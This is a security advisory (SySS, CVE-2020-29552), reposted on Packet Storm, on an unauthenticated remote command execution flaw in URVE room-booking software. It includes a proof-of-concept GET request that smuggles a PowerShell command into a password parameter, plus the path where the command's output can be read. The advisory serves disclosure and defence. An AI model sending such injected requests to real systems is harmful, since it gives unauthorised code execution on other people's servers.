exploit the possibilities

URVE Software Build 24.03.2020 Authentication Bypass / Remote Code Execution

URVE Software Build 24.03.2020 Authentication Bypass / Remote Code Execution
Posted Dec 25, 2020
Authored by Erik Steltzner | Site sec-consult.com

URVE Software build version 24.03.2020 suffers from an authentication bypass that allows for remote code execution.

tags | exploit, remote, code execution
advisories | CVE-2020-29552
MD5 | 2558a7df11b7e0c0f83b775d7059d021

URVE Software Build 24.03.2020 Authentication Bypass / Remote Code Execution

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2020-040
Product: URVE Software
Manufacturer: Eveo Sp. z o.o.
Affected Version(s): Build "24.03.2020"
Tested Version(s): Build "24.03.2020"
Vulnerability Type: Missing Authentication for Critical Function
(CWE-306)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2020-11-10
Solution Date: 2020-11-18
Public Disclosure: 2020-12-23
CVE Reference: CVE-2020-29552
Authors of Advisory: Erik Steltzner, SySS GmbH
Christoph Ritter, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

URVE is a system for reserving rooms which also provides a web interface
with event scheduler.

The manufacturer describes the product as follows (see [1] and [2]):

'Booking rooms on touchscreen and easy integration with MS Exchange,
Lotus, Office 365, Google Calendar and other systems.
Great looking schedules right at the door.
Fight conference room theft with our 10" touchscreen wall-mounted
panel.'

'Manage displays, edit playlists and HTML5 content easily.
Our server can be installed on any Windows and works smoothly from
web browser.'

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

With a manipulated GET request, it is possible to execute unauthenticated
system commands.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Using the following request, it is possible to execute a PowerShell
command.

_internal/pc/vpro.php?mac=0&ip=0&operation=0&usr=0&pass=0%3bpowershell+-c+
"whoami+>+C%3a\URVE\Profiles\urve\uploads\out"

The following path contains the output of the previously executed command.

/urve/uploads/out

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The passed GET parameters should be escaped.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2020-10-28: Vulnerability discovered
2020-11-10: Vulnerability reported to manufacturer
2020-11-18: Patch released by manufacturer
2020-12-23: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product Website for URVE
https://urve.co.uk/system-rezerwacji-sal
[2] Product website for URVE
https://urve.co.uk
[3] SySS Security Advisory SYSS-2020-040

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-040.txt
[4] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Erik Steltzner and Christoph
Ritter of SySS GmbH.

E-Mail: erik.steltzner@syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Erik_Steltzner.asc
Key ID: 0x4C7979CE53163268
Key Fingerprint: 6538 8216 555B FBE7 1E01 7FBD 4C79 79CE 5316 3268

E-Mail: christoph.ritter@syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Christoph_Ritter.asc
Key ID: 0x05458E666D35EAE8
Key Fingerprint: 9FB0 1B9B 2F72 3DD5 3AF3 62D8 0545 8E66 6D35 EAE8

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEZTiCFlVb++ceAX+9THl5zlMWMmgFAl/i+0kACgkQTHl5zlMW
Mmhhaw//d2l3sRso92bYcrGumrmv7ab7cOE6RRYnJ7UWRlMgFBERpE2n/ec1yi8A
cC/8xmWN9zmb5GMRI6QAkBPHLFXhNKmsukv/Rr/Zo2w8mwFRySiv5XWPJ/v331rY
EKwJVA7PF0gxcucP5fNjgzf2fkLxxX7vWvPR4up6YiXFCIRpQ8SvOSMf8S3w/CeW
fORR5QaCKHuzLRHk78oZw9Yrs3xdKbWXdu9zU9hycoHYj5oBOFHRuGG2B/Xvwuqj
g7UjLZ4QEIWP25yFs5QybsMy2psJuig8B8/E2D1oXxNgbvh/jBrT4kdvpmBDkjC3
yW+beC7iRTJ/LH/v5G66ytB6WCpUq0uBFhraBunLBbhMavIggmHvT9dRaGOswgWZ
TKoREn46HtqbNHhpToLEkJTqEf4Onv8ih+MjYCSgKXdsuxhtEvMRBod3XFb028M0
id+Q6Syu34TSLu1ArnDoDpLWcUU6tZ4r+rn+ZDOJd3Jkykdk+h0ewEpp7LfhKBFO
QpbfU1by1Xs7nz8KK7QhDVnr6KCKBRtqQnVvmUQLZLxwOjARJSjj5TptA5rUB7U1
7ZVFKad+d9v1I0bMwHc5J3XjPgNajhOSa9haFad1zMyuJ5+Zb2qETMg5griCY6nQ
RHixBPt6QJaN+rPHnavCY2gcRafQHUBYsfwok6iOk+4MXRX8SzM=
=AvxJ
-----END PGP SIGNATURE-----


Login or Register to add favorites

File Archive:

January 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    4 Files
  • 2
    Jan 2nd
    3 Files
  • 3
    Jan 3rd
    3 Files
  • 4
    Jan 4th
    33 Files
  • 5
    Jan 5th
    31 Files
  • 6
    Jan 6th
    21 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    19 Files
  • 9
    Jan 9th
    1 Files
  • 10
    Jan 10th
    1 Files
  • 11
    Jan 11th
    33 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    27 Files
  • 14
    Jan 14th
    8 Files
  • 15
    Jan 15th
    16 Files
  • 16
    Jan 16th
    1 Files
  • 17
    Jan 17th
    2 Files
  • 18
    Jan 18th
    20 Files
  • 19
    Jan 19th
    32 Files
  • 20
    Jan 20th
    12 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close